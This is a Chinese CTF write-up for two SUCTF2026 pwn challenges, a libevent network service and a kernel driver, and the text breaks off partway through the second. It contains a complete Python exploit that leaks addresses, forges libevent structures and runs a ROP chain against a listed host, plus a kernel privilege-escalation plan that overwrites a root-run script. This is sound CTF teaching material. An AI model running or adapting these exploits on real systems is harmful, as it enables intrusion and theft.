SUCTF2026 pwn wp by YHalo

SU_evbuffer

    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled

这题是一个libevent 网络服务,本地动态库好像有些问题,修了半天,还存在沙箱,禁用了execve

Libevent 是一个开源、跨平台、轻量级的事件驱动网络编程库。
它用 C 语言编写,核心目标是简化高性能网络服务器的开发。它通过封装不同操作系统底层的 I/O 多路复用机制(如 Linux 的 epoll、BSD/macOS 的 kqueue、Windows 的 IOCP 或 select),为开发者提供了一套统一、简洁且高效的 API 来处理网络事件。

分析下main函数的逻辑:

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  unsigned int fd; // [rsp+Ch] [rbp-44h]
  __int64 v5; // [rsp+10h] [rbp-40h]
  struct sockaddr addr; // [rsp+20h] [rbp-30h] BYREF
  _QWORD v7[4]; // [rsp+30h] [rbp-20h] BYREF

  v7[3] = __readfsqword(0x28u);                 // canary
  ((void (__fastcall *)(__int64, char **, char **))seccomp)(a1, a2, a3);
  qword_40B0 = event_base_new();                // 事件基
  memset(&unk_4040, 0, 0x70uLL);
  fd = socket(2, 2, 0);                         // 网络套接字,SOCK_DGRAM (数据报套接字,即 UDP) = 2
  *(_QWORD *)&addr.sa_family = 2LL;
  *(_QWORD *)&addr.sa_data[6] = 0LL;
  *(_WORD *)addr.sa_data = htons(8889u);
  bind(fd, &addr, 0x10u);
  dword_4060 = 0;
  dword_4070 = fd;                              // 保存 fd 到全局变量,供回调使用
  v5 = event_new(qword_40B0, fd, 18LL, (__int64)sub_1630, (__int64)&unk_4040);// 事件注册,监控 fd 的读事件 (18 = EV_READ | EV_PERSIST),回调函数sub_1630
  event_add(v5, 0LL);
  v7[0] = 2LL;                                  // sin_family = AF_INET
  v7[1] = 0LL;
  WORD1(v7[0]) = htons(8888u);
  evconnlistener_new_bind(qword_40B0, (__int64)sub_16EA, 0LL, 10LL, 0xFFFFFFFFLL, (__int64)v7, 16LL);// 高级监听, 回调sub_16EA 
  event_base_dispatch(qword_40B0);              // 进入事件循环
  return 0LL;
}

可以看出两种协议处理:

UDP event 回调: sub_1630 -> sub_13A4

TCP listener 回调: sub_16EA -> sub_159E -> sub_13A4

主要漏洞在sub_13A4

unsigned __int64 __fastcall sub_13A4(__int64 a1, _BYTE *a2, int a3, const struct sockaddr *a4)
{
  __int64 v4; // rbx
  __int64 v5; // rbx
  __int64 v6; // rbx
  __int64 v7; // rbx
  _QWORD *s; // [rsp+28h] [rbp-78h]
  __int64 output; // [rsp+38h] [rbp-68h]
  char name[8]; // [rsp+40h] [rbp-60h] BYREF
  __int64 v14; // [rsp+48h] [rbp-58h]
  __int64 v15; // [rsp+50h] [rbp-50h]
  __int64 v16; // [rsp+58h] [rbp-48h]
  __int64 v17; // [rsp+60h] [rbp-40h]
  __int64 v18; // [rsp+68h] [rbp-38h]
  __int64 v19; // [rsp+70h] [rbp-30h]
  __int64 v20; // [rsp+78h] [rbp-28h]
  unsigned __int64 v21; // [rsp+88h] [rbp-18h]

  v21 = __readfsqword(0x28u);                   // canary
  if ( a3 > 0 )
  {
    a2[a3] = 0;                                 // 将输入缓冲区 a2 截断为字符串 (添加 \0)
    s = malloc(0x50uLL);                        // 数据包
    if ( s )
    {
      memset(s, 0, 0x50uLL);
      if ( inet_pton(2, a2, (char *)s + 4) )    // IP 地址解析
      {
        *(_WORD *)s = 2;
        gethostname(name, 0x40uLL);             // 获取本机主机名
        v4 = v14;
        s[2] = *(_QWORD *)name;
        s[3] = v4;
        v5 = v16;
        s[4] = v15;
        s[5] = v5;
        v6 = v18;
        s[6] = v17;
        s[7] = v6;
        v7 = v20;
        s[8] = v19;
        s[9] = v7;
        memcpy((void *)a1, a2, a3);
        if ( *(_DWORD *)(a1 + 32) == 1 && *(_QWORD *)(a1 + 40) )// TCP分支发送
        {
          output = bufferevent_get_output(*(_QWORD *)(a1 + 40));
          evbuffer_add_reference(output, s, 80LL, sub_1381, 0LL);
        }
        else
        {
          sendto(*(_DWORD *)(a1 + 48), s, 0x50uLL, 0, a4, 0x10u);// UDP分支发送,sendto(...): 标准的 UDP 发送函数
          free(s);
        }
      }
      else
      {
        free(s);
      }
    }
  }
  return v21 - __readfsqword(0x28u);
}

memcpy(dest, user_buf, len)

这个 dest 是全局 ctx (context上下文)地址 (TCP 为 pie+0x4078, UDP 为 pie+0x4040)

问题在于ctx 实际很小(几十字节),但 len 最大到 0x3ff(追溯到上一级的sub_1630看buf大小)
这样会把后面的全局数据和同页区域都覆盖掉

+---------------------+  pie+0x4040 (UDP ctx)
| UDP ctx             |
+---------------------+  pie+0x4078 (TCP ctx)
| TCP ctx             |
+---------------------+  pie+0x40b0 (event_base*)
| global ptrs         |
+---------------------+
| ... 同页可写区域 ... |  <== memcpy 最多写 0x3ff 字节
+---------------------+

第二个漏洞很明显,name这个变量只给了8字节,但是获取主机名gethostname(name, 0x40uLL);却把整块40字节带了进去,后续回包可以利用这点泄露信息

TCP 路径和 UDP 路径泄漏到的地址类型不同

TCP 触发时,残留更容易落在 libevent 调用链里,所以拿来算 libevent base
UDP 触发时,残留是程序本体里的返回地址,所以可用来算 PIE base

利用思路:

先拿地址基址

  • TCP 发 “127.0.0.1” 拿一包泄漏 -> 算 libevent base
  • UDP 发特制包(改成特定udp_fd) -> 算 PIE base

用越界写布置假对象

  • 把 TCP ctx 改成:
    state = 1
    bev = fake_bev
  • fake_bev->output 指向 fake_evbuffer

劫持 evbuffer callback

  • fake_evbuffer 的 callbacks 指向伪造 cb entry
  • cb 函数指针设置为 gadget: pop rdi; ret
  • 配合 evbuffer 字段计算,让返回跳到 pop rsp; ret
  • 实现栈迁移到我们布置的 ROP 链

ROP 做 ORW

  • 先 sigaction(SIGPIPE, SIG_IGN) 防止写错 fd 被信号打死
  • open(“/home/ctf/flag”, O_RDONLY)
  • read(9, buf, 0x80)
  • write(8, buf, 0x80)
  • exit(0)

EXP

#!/usr/bin/env python3
import re
import socket
import struct
import time


HOST = "101.245.104.190"
TARGETS = [
    (10006, 10016),
    (10005, 10015),
    (10004, 10014),
    (10003, 10013),
    (10002, 10012),
    (10001, 10011),
    (10000, 10010),
]

FLAG_PATH = b"/home/ctf/flag"

LIBEVENT_LEAK_OFF = 0x13B1A
PIE_LEAK_OFF = 0x1619


def p64(x: int) -> bytes:
    return struct.pack("<Q", x & 0xFFFFFFFFFFFFFFFF)


def p32(x: int) -> bytes:
    return struct.pack("<I", x & 0xFFFFFFFF)


def leak_tcp(sock: socket.socket) -> int:
    sock.sendall(b"127.0.0.1")
    data = sock.recv(0x50)
    if len(data) < 0x50:
        raise RuntimeError("short tcp leak")
    q = struct.unpack("<10Q", data[:0x50])
    return q[9] - LIBEVENT_LEAK_OFF


def leak_udp(udp_port: int) -> int:
    u = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    u.bind(("0.0.0.0", 0))
    u.settimeout(1.2)
    try:
        payload = bytearray(b"127.0.0.1\x00")
        payload += b"A" * (0x20 - len(payload))
        payload += p32(0) + b"BBBB" + p64(0) + p32(6)
        u.sendto(bytes(payload), (HOST, udp_port))
        data, _ = u.recvfrom(0x200)
        if len(data) < 0x50:
            raise RuntimeError("short udp leak")
        q = struct.unpack("<10Q", data[:0x50])
        return q[9] - PIE_LEAK_OFF
    finally:
        u.close()


def build_payload(pie: int, libevent: int, path: bytes) -> bytes:
    read_fd = 9
    sock_fd = 8
    count = 0x80

    base = pie + 0x4078
    fake_bev = pie + 0x4080
    chain = pie + 0x41A0
    fake_evbuf = pie + 0x4350
    cb = pie + 0x43D0
    sa = pie + 0x4400
    path_addr = pie + 0x4440
    buf = pie + 0x4460

    pop_rdi = libevent + 0xD879
    pop_rsi = libevent + 0xD2E5
    pop_rsp = libevent + 0xCF2D
    pop_rdx4 = libevent + 0x339DD

    sigaction_plt = libevent + 0xC6C4
    open_plt = libevent + 0xCB24
    read_plt = libevent + 0xC904
    write_plt = libevent + 0xC714
    exit_plt = libevent + 0xCBB4

    n0 = chain - 0x50
    t0 = pop_rsp + n0

    payload = bytearray(b"\x00" * 0x3FF)
    payload[:10] = b"127.0.0.1\x00"

    def w(off: int, data: bytes) -> None:
        payload[off:off + len(data)] = data

    def wq(addr: int, value: int) -> None:
        w(addr - base, p64(value))

    def wd(addr: int, value: int) -> None:
        w(addr - base, p32(value))

    # ctx @ pie+0x4078
    wd(pie + 0x4078 + 0x20, 1)
    wq(pie + 0x4078 + 0x28, fake_bev)
    wq(fake_bev + 0x118, fake_evbuf)

    # fake evbuffer
    wq(fake_evbuf + 0x10, fake_evbuf)
    wq(fake_evbuf + 0x18, t0)
    wq(fake_evbuf + 0x20, n0)
    wq(fake_evbuf + 0x78, cb)

    # callback entry
    wq(cb + 0x10, pop_rdi)
    wd(cb + 0x20, 1)

    # struct sigaction act = {.sa_handler = SIG_IGN}
    w(sa - base, p64(1) + b"\x00" * 0x38)
    w(path_addr - base, path + b"\x00")

    rop: list[int] = []

    def call3(fn: int, a1: int, a2: int, a3: int) -> None:
        rop.extend([pop_rdi, a1, pop_rsi, a2, pop_rdx4, a3, 0, 0, 0, fn])

    call3(sigaction_plt, 13, sa, 0)      # ignore SIGPIPE
    call3(open_plt, path_addr, 0, 0)
    call3(read_plt, read_fd, buf, count)
    call3(write_plt, sock_fd, buf, count)
    rop.extend([pop_rdi, 0, exit_plt])

    w(chain - base, b"".join(p64(x) for x in rop))

    end = max(i for i, b in enumerate(payload) if b != 0) + 1
    return bytes(payload[:end])


def exploit_once(tcp_port: int, udp_port: int) -> bytes:
    s = socket.create_connection((HOST, tcp_port), timeout=3)
    s.settimeout(2)
    try:
        libevent = leak_tcp(s)
        pie = leak_udp(udp_port)  
        payload = build_payload(pie, libevent, FLAG_PATH)
        s.sendall(payload)

        data = b""
        while True:
            try:
                chunk = s.recv(0x2000)
                if not chunk:
                    break
                data += chunk
                if len(data) > 0x4000:
                    break
            except socket.timeout:
                break
        return data
    finally:
        s.close()


def main() -> None:
    print(f"[*] host: {HOST}")
    for tcp_port, udp_port in TARGETS:
        print(f"[*] trying tcp={tcp_port} udp={udp_port}")
        for i in range(6):
            try:
                data = exploit_once(tcp_port, udp_port)
                print(f"    try#{i}: recv {len(data)} bytes")
                if data:
                    m = re.search(rb"flag\\{[^\\n\\x00\\r]*\\}", data, re.I)
                    if m:
                        print(f"[+] FLAG: {m.group().decode(errors='ignore')}")
                        return
            except Exception as e:
                print(f"    try#{i}: {e}")
            time.sleep(0.8)
    print("[!] failed to get flag in current attempts")


if __name__ == "__main__":
    main()

打通拿到flag{80e59f78-d2a3-4e6a-bbbf-8027d25c2b9b},换成SUCTF包裹就行

SU_Chronos_Ring

先看启动脚本,initramfs里找到init

#!/bin/sh

export PATH=/bin:/sbin:/usr/bin:/usr/sbin
/bin/busybox --install -s

export PS1='[ctf@SUCTF2026 \w]$ '


mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs devtmpfs /dev
mount -t tmpfs tmpfs /tmp

mkdir -p /dev/pts
mkdir -p /var/lock
mount -t devpts devpts /dev/pts || true


echo SUCTF2026 > /proc/sys/kernel/hostname


echo 'root:x:0:0:root:/root:/bin/sh' > /etc/passwd
echo 'ctf:x:1000:1000:ctf:/home/ctf:/bin/sh' >> /etc/passwd
echo 'root:x:0:' > /etc/group
echo 'ctf:x:1000:' >> /etc/group

chmod 644 /etc/passwd
chmod 644 /etc/group

mkdir -p /root
mkdir -p /home/ctf
chown 1000:1000 /home/ctf
chmod 777 /home/ctf

echo 1 > /proc/sys/kernel/printk

if [ -e /flag ]; then
    chown root:root /flag
    chmod 400 /flag
fi


insmod /chronos_ring.ko
chmod 666 /dev/chronos_ring

echo "#!/bin/sh" > /tmp/job
echo "echo 'Root helper is running safely...'" >> /tmp/job
chmod 644 /tmp/job
(
    while true; do
        /bin/sh /tmp/job > /dev/null 2>&1
        sleep 3
    done
) &

echo
echo "==============================================="
echo "   Welcome to SUCTF 2026: Chronos Ring         "
echo "            Please pwn!!!                      "
echo "==============================================="
echo

export HOME=/home/ctf
export TERM=dumb
cd /home/ctf


if command -v su >/dev/null 2>&1; then
    exec setsid cttyhack su ctf -s /bin/sh
elif command -v setuidgid >/dev/null 2>&1; then
    exec setsid cttyhack setuidgid 1000 /bin/sh
else
    echo "[!] warning: no su/setuidgid found, fallback to root shell"
    exec setsid cttyhack /bin/sh
fi
umount /proc
umount /sys

poweroff -d 1 -n -f

可以看到chmod 666 /dev/chronos_ring,普通用户 ctf 可直接调用驱动 ioctl

chronos_ring.ko: 这是本题的核心,它是一个自定义的内核模块

flag设为权限400,仅root可读

然后看下run.sh找下保护

#!/bin/sh
TIMEOUT=300

exec timeout --signal=KILL ${TIMEOUT} \
qemu-system-x86_64 \
    -m 96M \
    -nographic \
    -enable-kvm \
    -smp 2 \
    -cpu max \
    -kernel ./bzImage \
    -initrd ./initramfs.cpio.gz \
    -monitor /dev/null \
    -append "console=ttyS0 kaslr no5lvl pti=on oops=panic panic=1 quiet" \
    -no-reboot

开了kaslr,pti=on说明也有kpti,-cpu max来模拟宿主机的cpu,说明还有SMAP和SMEP

然后来逆向chronos_ring.ko,先分析下init初始化模块

__int64 init_module()
{
  _DWORD *v0; // rax
  unsigned int v1; // ebx
  unsigned __int64 retaddr; // [rsp+8h] [rbp+0h]

  v0 = (_DWORD *)_kmalloc_cache_noprof(
                   kmalloc_caches[14 * ((0x61C8864680B583EBLL * (retaddr ^ random_kmalloc_seed)) >> 60) + 5],
                   3520LL,
                   24LL);
  ctx = (__int64)v0;
  v1 = -12;
  if ( v0 )
  {
    *v0 = 0;
    if ( (unsigned int)misc_register(&chronos_misc) )
    {
      kfree(ctx);
    }
    else
    {
      printk(&unk_123);
      return 0;
    }
  }
  return v1;
}

可以看出内核态内存分配和分配失败的处理,还有misc_register(Linux 内核 misc 设备注册函数)

misc设备是 Linux 内核为小型、简单的字符设备设计的统一框架,目的是简化设备驱动开发

这类设备会在 /dev 目录下生成对应的设备节点(比如 /dev/chronos),结合之前看到的设置了 666 权限:

那么任何用户(包括普通非 root 用户)都可以对该设备节点执行 read/write 操作,也能调用 ioctl(因为 ioctl 依赖设备节点的读写权限,而非执行权限)

据此接着去分析chronos_ioctl 函数

unsigned __int64 __fastcall chronos_ioctl(__int64 a1, int a2, __int64 a3)
{
  unsigned __int64 result; // rax
  __int64 v5; // rdi
  __int64 v6; // r15
  unsigned int *v7; // rbx
  __int64 v8; // rdi
  __int64 v9; // rbx
  __int64 v10; // rcx
  __int64 v11; // rcx
  __int64 v12; // rbx
  __int64 v13; // r14
  __int64 v14; // rcx
  __int64 v15; // rdi
  __int64 v16; // rax
  __int64 v17; // rcx
  __int64 v18; // rax
  __int64 v19; // rbx
  __int64 v20; // rbx
  __int64 v21; // rbx
  unsigned __int64 free_pages_noprof; // rax
  unsigned __int64 v23; // rcx
  __int64 v24; // rbx
  __int64 v25; // rax
  __int64 v26; // rdi
  __int64 v27; // rdi
  __int64 v28; // rax
  __int64 v29; // rcx
  __int64 v30; // rbx
  bool v31; // zf
  __int64 v32; // rax
  __int64 v33; // rcx
  __int64 v34; // rbx
  __int64 v35; // r14
  __int64 v36; // rcx
  __int64 v37; // rax
  __int64 v38; // rcx
  __int64 v39; // r15
  _QWORD *v40; // rax
  unsigned __int8 *v41; // rcx
  unsigned __int8 v42; // dl
  unsigned __int8 *v43; // rcx
  int v44; // esi
  _QWORD *v45; // rbx
  unsigned __int64 cache_page; // r14
  unsigned __int64 v47; // rsi
  __int64 v48; // rax
  __int64 v49; // rcx
  __int64 v50; // r14
  int v51; // eax
  unsigned __int64 v52; // rax
  unsigned __int64 v53; // rcx
  __int64 v54; // r14
  __int64 v55; // rax
  __int64 v56; // rdi
  __int64 v57; // rdi
  __int64 v58; // [rsp+0h] [rbp-78h] BYREF
  size_t n; // [rsp+8h] [rbp-70h]
  __int64 src; // [rsp+10h] [rbp-68h] BYREF
  size_t v61; // [rsp+18h] [rbp-60h]
  __int64 v62; // [rsp+20h] [rbp-58h]
  __int64 v63; // [rsp+28h] [rbp-50h]
  __int64 v64; // [rsp+30h] [rbp-48h]
  __int64 v65; // [rsp+38h] [rbp-40h]
  __int64 v66; // [rsp+40h] [rbp-38h]
  __int64 v67; // [rsp+48h] [rbp-30h]
  unsigned __int64 v68; // [rsp+50h] [rbp-28h]
  unsigned __int64 retaddr; // [rsp+80h] [rbp+8h]

  v68 = __readgsqword(0x28u);
  result = -22LL;
  if ( a2 > 4101 )
  {
    if ( a2 <= 4103 )
    {
      if ( a2 == 4102 )
      {
        raw_spin_lock(ctx);
        v15 = ctx;
        v24 = *(_QWORD *)(ctx + 8);
        v25 = -22LL;
        if ( v24 && *(_DWORD *)(v24 + 24) == 1 )
        {
          *(_DWORD *)(v24 + 24) = 0;
          v26 = *(_QWORD *)(v24 + 32);
          if ( v26 )
          {
            fput(v26);
            *(_QWORD *)(v24 + 32) = 0LL;
          }
          v27 = *(_QWORD *)(v24 + 48);
          if ( v27 )
          {
            v28 = *(_QWORD *)(v27 + 8);
            if ( (v28 & 1) != 0 )
              v27 = v28 - 1;
            if ( !_InterlockedDecrement((volatile signed __int32 *)(v27 + 52)) )
              _folio_put();
            *(_QWORD *)(v24 + 48) = 0LL;
          }
          *(_DWORD *)(v24 + 80) = 0;
          v15 = ctx;
          *(_DWORD *)(ctx + 16) &= ~4u;
          v25 = 0LL;
        }
        v20 = v25;
      }
      else
      {
        n = 0LL;
        v58 = 0LL;
        v67 = 0LL;
        v66 = 0LL;
        v65 = 0LL;
        v64 = 0LL;
        v63 = 0LL;
        v62 = 0LL;
        v61 = 0LL;
        src = 0LL;
        v11 = copy_from_user(&v58, a3, 16LL);
        result = -14LL;
        if ( v11 )
          return result;
        v12 = (unsigned int)n;
        result = -22LL;
        if ( (unsigned int)(n - 65) < 0xFFFFFFC0 )
          return result;
        v13 = v58;
        _check_object_size(&src, (unsigned int)n, 0LL);
        v14 = copy_from_user(&src, v13, v12);
        result = -14LL;
        if ( v14 )
          return result;
        raw_spin_lock(ctx);
        v15 = ctx;
        v16 = *(_QWORD *)(ctx + 8);
        v17 = -22LL;
        if ( v16 )
        {
          if ( *(_DWORD *)v16 > HIDWORD(n) && (unsigned int)n <= *(_DWORD *)v16 - HIDWORD(n) )
          {
            v17 = -1LL;
            if ( !*(_DWORD *)(v16 + 24) )
            {
              v18 = *(_QWORD *)(v16 + 8);
              if ( v18 )
              {
                v19 = ctx;
                memcpy((void *)(HIDWORD(n) + v18), &src, (unsigned int)n);
                v15 = v19;
                v17 = 0LL;
              }
            }
          }
        }
        v20 = v17;
      }
      raw_spin_unlock(v15);
      return v20;
    }
    if ( a2 == 4104 )
    {
      v61 = 0LL;
      src = 0LL;
      v33 = copy_from_user(&src, a3, 16LL);
      result = -14LL;
      if ( v33 )
        return result;
      raw_spin_lock(ctx);
      v34 = *(_QWORD *)(ctx + 8);
      if ( !v34 )
      {
        raw_spin_unlock(ctx);
        return -2LL;
      }
      if ( *(_DWORD *)v34 <= HIDWORD(v61) || (unsigned int)v61 > *(_DWORD *)v34 - HIDWORD(v61) || !*(_QWORD *)(v34 + 8) )
      {
        raw_spin_unlock(ctx);
        return -22LL;
      }
      raw_spin_unlock(ctx);
      _rcu_read_lock();
      v35 = *(_QWORD *)(v34 + 72);
      if ( v35 )
      {
        if ( *(_QWORD *)v35 )
        {
          memcpy(
            (void *)(HIDWORD(v61) + *(_QWORD *)v35),
            (const void *)(*(_QWORD *)(v34 + 8) + HIDWORD(v61)),
            (unsigned int)v61);
          if ( *(_DWORD *)(v35 + 16) == 2 )
            set_page_dirty(*(_QWORD *)(v35 + 8));
        }
      }
      _rcu_read_unlock();
      return 0LL;
    }
    if ( a2 == 4105 )
    {
      LODWORD(v62) = 0;
      v61 = 0LL;
      src = 0LL;
      raw_spin_lock(ctx);
      v37 = *(_QWORD *)(ctx + 8);
      if ( v37 )
      {
        LODWORD(src) = *(_DWORD *)(ctx + 16);
        HIDWORD(src) = *(_DWORD *)(v37 + 24);
        LODWORD(v61) = *(_DWORD *)(v37 + 80);
        HIDWORD(v61) = *(_DWORD *)(v37 + 40);
        LODWORD(v62) = *(unsigned __int8 *)(v37 + 56);
      }
      raw_spin_unlock(ctx);
      v38 = copy_to_user(a3, &src, 20LL);
      result = -14LL;
      if ( !v38 )
        return 0LL;
      return result;
    }
    if ( a2 != 4106 )
      return result;
    raw_spin_lock(ctx);
    v8 = ctx;
    v9 = *(_QWORD *)(ctx + 8);
    if ( v9 )
    {
      *(_QWORD *)(ctx + 8) = 0LL;
      *(_BYTE *)(v8 + 16) &= 0xF9u;
      raw_spin_unlock(v8);
      call_rcu(v9 + 88, chronos_buf_rcu_cb);
      return 0LL;
    }
    *(_BYTE *)(ctx + 16) &= 0xF9u;
    goto LABEL_79;
  }
  if ( a2 <= 4098 )
  {
    if ( a2 == 4097 )
    {
      raw_spin_lock(ctx);
      v21 = *(_QWORD *)(ctx + 8);
      raw_spin_unlock(ctx);
      result = -16LL;
      if ( !v21 )
      {
        v7 = (unsigned int *)_kmalloc_cache_noprof(
                               kmalloc_caches[14 * ((0x61C8864680B583EBLL * (retaddr ^ random_kmalloc_seed)) >> 60) + 2],
                               3520LL,
                               136LL);
        result = -12LL;
        if ( v7 )
        {
          *v7 = 4096;
          v7[6] = 0;
          v7[21] = 1;
          free_pages_noprof = get_free_pages_noprof(3520LL, 0LL);
          *((_QWORD *)v7 + 1) = free_pages_noprof;
          if ( !free_pages_noprof )
            goto LABEL_110;
          if ( free_pages_noprof < 0xFFFFFFFF80000000LL )
            v23 = 0xFFFFFFFF80000000LL - page_offset_base;
          else
            v23 = phys_base;
          *((_QWORD *)v7 + 2) = vmemmap_base + (((v23 + free_pages_noprof + 0x80000000) >> 6) & 0xFFFFFFFFFFFFFFC0LL);
          raw_spin_lock(ctx);
          v8 = ctx;
          if ( *(_QWORD *)(ctx + 8) )
          {
            raw_spin_unlock(ctx);
            _BitScanReverse64(&v47, ((unsigned __int64)*v7 - 1) >> 12);
            free_pages(*((_QWORD *)v7 + 1), (unsigned int)(v47 + 1));
            kfree(v7);
            return -16LL;
          }
          *(_QWORD *)(ctx + 8) = v7;
          goto LABEL_79;
        }
      }
      return result;
    }
    if ( a2 != 4098 )
      return result;
    v61 = 0LL;
    src = 0LL;
    v10 = copy_from_user(&src, a3, 16LL);
    result = -14LL;
    if ( v10 )
      return result;
    result = -1LL;
    if ( ((unsigned int)v61 ^ src ^ ((unsigned __int64)&kfree >> 4) & 0xFFFFFFFFFFFE0000LL) != 0xF372FE94F82B3C6ELL )
      return result;
    raw_spin_lock(ctx);
    v8 = ctx;
    *(_DWORD *)(ctx + 16) |= 1u;
    *(_DWORD *)(v8 + 20) = v61;
LABEL_79:
    raw_spin_unlock(v8);
    return 0LL;
  }
  if ( a2 == 4099 )
  {
    src = 0LL;
    v58 = 0LL;
    v29 = copy_from_user(&v58, a3, 8LL);
    result = -14LL;
    if ( v29 )
      return result;
    raw_spin_lock(ctx);
    v5 = ctx;
    if ( (*(_BYTE *)(ctx + 16) & 1) == 0 )
      goto LABEL_72;
    v30 = *(_QWORD *)(ctx + 8);
    raw_spin_unlock(ctx);
    if ( !v30 )
      return -2LL;
    v31 = (unsigned int)pin_user_pages_fast(v58, 1LL, 257LL, &src) == 1;
    result = -14LL;
    if ( !v31 )
      return result;
    raw_spin_lock(ctx);
    v8 = ctx;
    v32 = *(_QWORD *)(ctx + 8);
    if ( !v32 || v32 != v30 )
    {
      raw_spin_unlock(ctx);
      unpin_user_page(src);
      return -2LL;
    }
    if ( *(_BYTE *)(v30 + 56) && *(_QWORD *)(v30 + 64) )
    {
      unpin_user_page(*(_QWORD *)(v30 + 64));
      v8 = ctx;
    }
    *(_QWORD *)(v30 + 64) = src;
    *(_BYTE *)(v30 + 56) = 1;
    *(_BYTE *)(v8 + 16) |= 2u;
    goto LABEL_79;
  }
  if ( a2 != 4100 )
  {
    raw_spin_lock(ctx);
    v5 = ctx;
    v6 = *(_QWORD *)(ctx + 8);
    if ( v6 && (*(_BYTE *)(ctx + 16) & 2) != 0 )
    {
      raw_spin_unlock(ctx);
      v7 = (unsigned int *)_kmalloc_cache_noprof(
                             kmalloc_caches[14 * ((0x61C8864680B583EBLL * (retaddr ^ random_kmalloc_seed)) >> 60) + 1],
                             3520LL,
                             72LL);
      result = -12LL;
      if ( !v7 )
        return result;
      raw_spin_lock(ctx);
      if ( *(_QWORD *)(ctx + 8) != v6 )
      {
        raw_spin_unlock(ctx);
        kfree(v7);
        return -2LL;
      }
      if ( *(_DWORD *)(v6 + 24) == 1 )
      {
        v48 = *(_QWORD *)(v6 + 48);
        if ( v48 )
        {
          v49 = *(_QWORD *)(v48 + 8);
          if ( (v49 & 1) != 0 )
            v48 = v49 - 1;
          _InterlockedIncrement((volatile signed __int32 *)(v48 + 52));
          v50 = *(_QWORD *)(v6 + 48);
          *((_QWORD *)v7 + 1) = v50;
          _SCT__might_resched();
          *(_QWORD *)v7 = page_offset_base + ((v50 - vmemmap_base) << 6);
          v51 = 2;
          goto LABEL_113;
        }
      }
      v52 = get_free_pages_noprof(3520LL, 0LL);
      *(_QWORD *)v7 = v52;
      if ( v52 )
      {
        if ( v52 < 0xFFFFFFFF80000000LL )
          v53 = 0xFFFFFFFF80000000LL - page_offset_base;
        else
          v53 = phys_base;
        *((_QWORD *)v7 + 1) = vmemmap_base + (((v53 + v52 + 0x80000000) >> 6) & 0xFFFFFFFFFFFFFFC0LL);
        v51 = 1;
LABEL_113:
        v7[4] = v51;
        *(_DWORD *)(v6 + 80) = v51;
        v54 = *(_QWORD *)(v6 + 72);
        *(_QWORD *)(v6 + 72) = v7;
        raw_spin_unlock(ctx);
        if ( v54 )
          call_rcu(v54 + 24, chronos_view_rcu_cb);
        return 0LL;
      }
      raw_spin_unlock(ctx);
LABEL_110:
      kfree(v7);
      return -12LL;
    }
LABEL_72:
    raw_spin_unlock(v5);
    return -1LL;
  }
  src = 0LL;
  v36 = copy_from_user(&src, a3, 8LL);
  result = -14LL;
  if ( v36 )
    return result;
  raw_spin_lock(ctx);
  v5 = ctx;
  if ( (*(_BYTE *)(ctx + 16) & 1) == 0 )
    goto LABEL_72;
  v39 = *(_QWORD *)(ctx + 8);
  raw_spin_unlock(ctx);
  result = -2LL;
  if ( v39 )
  {
    v40 = (_QWORD *)fget((unsigned int)src);
    if ( !v40 )
      return -9LL;
    if ( !*v40 )
      goto LABEL_102;
    v41 = *(unsigned __int8 **)(*v40 + 40LL);
    v42 = *v41;
    if ( !*v41 )
      goto LABEL_102;
    v43 = v41 + 1;
    v44 = -2128831035;
    do
    {
      v44 = 16777619 * (v44 ^ v42);
      v42 = *v43++;
    }
    while ( v42 );
    if ( v44 != -573296676 )
    {
LABEL_102:
      fput(v40);
      return -13LL;
    }
    v45 = v40;
    cache_page = read_cache_page(v40[9], HIDWORD(src), 0LL, 0LL);
    if ( cache_page >= 0xFFFFFFFFFFFFF001LL )
    {
      fput(v45);
      return cache_page;
    }
    raw_spin_lock(ctx);
    v55 = *(_QWORD *)(ctx + 8);
    if ( !v55 || v55 != v39 )
    {
      raw_spin_unlock(ctx);
      put_page(cache_page);
      fput(v45);
      return -2LL;
    }
    v56 = *(_QWORD *)(v39 + 32);
    if ( v56 )
      fput(v56);
    v57 = *(_QWORD *)(v39 + 48);
    if ( v57 )
      put_page(v57);
    *(_QWORD *)(v39 + 32) = v45;
    *(_QWORD *)(v39 + 40) = HIDWORD(src);
    *(_QWORD *)(v39 + 48) = cache_page;
    *(_DWORD *)(v39 + 24) = 1;
    v8 = ctx;
    *(_DWORD *)(ctx + 16) |= 4u;
    goto LABEL_79;
  }
  return result;
}
命令号核心功能
4097初始化内核缓冲区:分配内存 + 申请物理页 + 绑定到全局 ctx
4098鉴权校验:验证魔术值(硬编码),通过则标记 ctx 状态位
4099锁定用户态页面:pin 用户页到内存,绑定到缓冲区结构体
4100文件校验 + 缓存页关联:验证文件哈希,绑定文件对象 / 缓存页到缓冲区
4102清理资源:释放文件对象 / 缓存页,重置缓冲区状态
4103内核→用户写数据:将内核缓冲区数据拷贝到用户态
4104内核缓冲区→视图拷贝:将核心缓冲区数据拷贝到 RCU 保护的视图缓冲区
4105状态查询:将缓冲区 /ctx 状态信息返回给用户态
4106销毁缓冲区:解绑 ctx 缓冲区,通过 RCU 异步释放资源
其他返回 -22(EINVAL,无效参数)

注意到漏洞:

4098 的校验是:

check = ((kfree >> 4) & 0xfffffffffffe0000) ^ arg0 ^ (uint32)arg1
且要求 check == 0xf372fe94f82b3c6e

这个校验逻辑很弱

掩码后粒度是 0x20000,搜索空间很小(约千级),可在线爆破

// 校验通过后执行的核心代码
raw_spin_lock(ctx);
*(_DWORD *)(ctx + 16) |= 1u;  // 置位 ctx+16 地址的第 0 位(bit0)
*(_DWORD *)(ctx + 20) = v61;  // 保存用户传入的 v61 参数
raw_spin_unlock(ctx);
return 0;

ctx+16 是驱动的全局权限状态位,bit0 被置 1 后,后续所有敏感命令(4099/4100/4103/4104 等)的前置权限检查都会通过

再结合其他逻辑:

4103合规场景下允许把最多4096字节写进驱动内部 buffer

4100+ 4101可让 view 指向某个文件页

4104把内部 buffer 内容 memcpy 到这个文件页,并标脏

root 每 3 秒执行 /tmp/job,于是命令被 root 执行

4100 命令分支中,包含完整的 FNV1a 哈希计算与校验逻辑,要求名字是 job,正好对应 /tmp/job

那总体利用链就是

+------------------+      ioctl 4097      +----------------------+
| ctf user process | ---------------------> | create ring buffer    |
+------------------+                        +----------------------+
          |
          | ioctl 4098 (爆破认证)
          v
+----------------------+
| ctx.auth = 1         |
+----------------------+
          |
          | ioctl 4103(先把payload写进内部buffer)
          v
+----------------------+
